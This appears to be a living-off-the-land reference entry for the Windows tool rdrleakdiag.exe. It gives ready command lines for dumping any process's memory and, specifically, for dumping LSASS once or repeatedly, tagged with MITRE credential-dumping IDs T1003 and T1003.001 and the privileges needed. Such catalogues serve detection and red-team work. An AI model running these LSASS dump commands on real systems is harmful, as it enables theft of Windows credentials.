rdrleakdiag.exe

Microsoft Windows resource leak diagnostic tool

Dump

Dump process by PID.

rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1

Dump process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`). — MITRE: T1003 — Privileges: User

Dump LSASS process.

rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1

Dump LSASS process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`). — MITRE: T1003.001 — Privileges: Administrator

Dump LSASS process mutliple times.

rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap

After dumping a process using `/wait 1`, subsequent dumps must use `/snap` (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`). — MITRE: T1003.001 — Privileges: Administrator